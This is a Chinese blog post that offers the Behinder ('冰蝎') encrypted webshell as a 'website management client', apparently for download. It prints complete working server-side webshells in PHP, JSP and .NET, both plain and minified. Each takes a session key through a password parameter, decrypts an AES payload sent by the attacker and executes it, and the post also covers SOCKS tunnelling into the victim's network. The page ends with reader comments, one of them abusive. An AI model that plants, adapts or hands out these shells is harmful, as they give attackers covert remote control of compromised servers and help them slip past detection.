博主都十多天没看见了,赶紧找 | 共分享了个网络安全资讯

“冰蝎”动态二进制加密网站管理客户端

  • 内容
  • 相关
“冰蝎”动态二进制加密网站管理客户端

Behinder

功能介绍原文链接:

《利用动态二进制加密实现新型一句话木马之客户端篇》 https://xz.aliyun.com/t/2799

工作原理原文链接:

《利用动态二进制加密实现新型一句话木马之Java篇》 https://xz.aliyun.com/t/2744

《利用动态二进制加密实现新型一句话木马之.NET篇》 https://xz.aliyun.com/t/2758

《利用动态二进制加密实现新型一句话木马之PHP篇》 https://xz.aliyun.com/t/2774

运行环境

客户端:jre6~jre8
服务端:.net 2.0+;php 5.4-7.2;java 6+

疑问解答

Mac系统下好像打不开?

Mac系统下需要通过-XstartOnFirstThread参数启动,java -XstartOnFirstThread -jar Behinder.jar。

PHP连接有问题?

因为采用了aes加密,请确认PHP是否开启了OpenSSL扩展,可通过echo var_dump(function_exists ("openssl_encrypt"));是否为true来判断。

直接用浏览器访问shell会报错?

客户端附带的服务端为最简版本,没有做容错处理,所以直接浏览器访问可能会报错,但是不影响客户端正常连接。如果 不介意服务端体积增加几个字节,可以自己加一些容错判断语句。

我可以对shell进行修改么?

客户端附带的服务端可以进行各种变形,只要基本逻辑不变,客户端即可正常连接。

开了socks代理,但是服务器并没有开启代理端口?

socks代理的端口不是开在远程服务器上的,是开在本地的,利用socks客户端直接连接本地IP的代理端口即可, 冰蝎会把本地端口的流量通过http隧道透传至远程服务器网络。

PHP脚本

未压缩:

<?php
session_start();
if (isset($_GET['mracat.com']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
    $decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key);
    $arr=explode('|',$decrptContent);
    $func=$arr[0];
    $params=$arr[1];
    $func($params);
}
?>
压缩后:
<?php session_start();isset($_GET

['mracat.com'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt

(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&$b[0]($b[1]);?>
或者:
<?php session_start();isset($_GET

['mracat.com'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt

(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&call_user_func($b[0],$b[1]);?>

JSP脚本

未压缩:

<%@ page
    import="java.util.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec"%>
<%!
/*
定义ClassLoader的子类Myloader
*/
public static class Myloader extends ClassLoader {
    public Myloader(ClassLoader c) 
    {super(c);}
    public Class get(byte[] b) {  //定义get方法用来将指定的byte[]传给父类的defineClass
        return super.defineClass(b, 0, b.length);
    }
}
%>
<%
    if (request.getParameter("mracat.com")!=null) {  //判断请求方法是不是带密码的握手请求,此处只用参数名

作为密码,参数值可以任意指定
        String k = UUID.randomUUID().toString().replace("-", "").substring(0, 16);  //随机生成一个16字节的

密钥
        request.getSession().setAttribute("uid", k); //将密钥写入当前会话的Session中
        out.print(k); //将密钥发送给客户端
        return; //执行流返回,握手请求时,只产生密钥,后续的代码不再执行
    }
    /*
    当请求为非握手请求时,执行下面的分支,准备解密数据并执行
    */
    String uploadString= request.getReader().readLine();//从request中取出客户端传过来的加密payload
    Byte[] encryptedData= new sun.misc.BASE64Decoder().decodeBuffer(uploadString); //把payload进行base64解

码
    Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); // 选择AES解密套件
    c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString

().getBytes(), "AES")); //从Session中取出密钥
    Byte[] classData= c.doFinal(encryptedData);  //AES解密操作
    Object myLoader= new Myloader().get(classData).newInstance(); //通过ClassLoader的子类Myloader的get方法

来间接调用defineClass方法,将客户端发来的二进制class字节数组解析成Class并实例化
    String result= myLoader.equals(pageContext); //调用payload class的equals方法,我们在准备payload class

的时候,将想要执行的目标代码封装到equals方法中即可,将执行结果通过equals中利用response对象返回。
%>
压缩后:
<%@page 

import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U

(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if

(request.getParameter("mracat.com")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring

(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new 

SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g

(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance

().equals(pageContext);%>
或者:
<%!class U extends ClassLoader{U(ClassLoader 

c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if

(request.getParameter("mracat.com")!=null)new U(this.getClass().getClassLoader()).g(new 

sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())).newInstance().equals(pageContext);

%>

.NET脚本

未压缩:

<%@ Page Language="C#" %>
<%
    if (Request["mracat.com"]!=null)
    {
        Session.Add("key", Guid.NewGuid().ToString().Replace("-", "").Substring(16)); Response.Write

(Session[0]); return;
    }   
    byte[] key = Encoding.Default.GetBytes(Session[0] + "");
    byte[] content = Request.BinaryRead(Request.ContentLength);
    byte[] decryptContent = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(key, 

key).TransformFinalBlock(content, 0, content.Length);
    System.Reflection.Assembly.Load(decryptContent).CreateInstance("Payload").Equals(this);
%>
压缩后:
<%@ Page Language="C#" %><%if (Request

["mracat.com"]!=null){ Session.Add("k", Guid.NewGuid().ToString().Replace("-", "").Substring(16)); 

Response.Write(Session[0]); return;}byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = 

Request.BinaryRead(Request.ContentLength);System.Reflection.Assembly.Load(new 

System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, 

c.Length)).CreateInstance("U").Equals(this);%>
或者:
<%@ Page Language="C#" %><%if (Request

["mracat.com"]!=null)System.Reflection.Assembly.Load(Request.BinaryRead

(Request.ContentLength)).CreateInstance("U").Equals(this);%>

说明

更多文章:https://mracat.com/211.html

文章工具来源于冰蝎

猫先生已经设置回复可下载

本文标签:

收录状态:百度√[百度已收录]丨360×[360未收录]丨搜狗√[搜狗已收录]

版权声明:若无特殊注明,本文皆为《Mrcat》原创,转载请保留文章出处。

本文链接:“冰蝎”动态二进制加密网站管理客户端 - https://mracat.com/212.html

用手机扫描访问本文章

发表评论

电子邮件地址不会被公开。 必填项已用*标注

请勿乱用他人邮箱,否者您将收不到最新动态消息~

评论

4条评论
  1. avatar

    逍遥少爷 Lv.1 Chrome 63.0.3239.132 Chrome 63.0.3239.132 Windows Windows 回复

    我cao尼玛艾斯比

    湖北省仙桃市 电信

    1. avatar

      噜啦啦 Lv.1 Chrome 64.0.3282.140 Chrome 64.0.3282.140 Windows Windows 回复

      666不错

      陕西省西安市 电信

      1. avatar

        ccc123 Lv.1 Chrome 73.0.3683.86 Chrome 73.0.3683.86 Mac OS X 10.14.2 Mac OS X 10.14.2 回复

        666不错

        山西省晋中市 联通

        1. avatar

          Unname_Max Lv.1 Chrome 72.0.3626.121 Chrome 72.0.3626.121 Windows Windows 回复

          谢谢

          福建省福州市 联通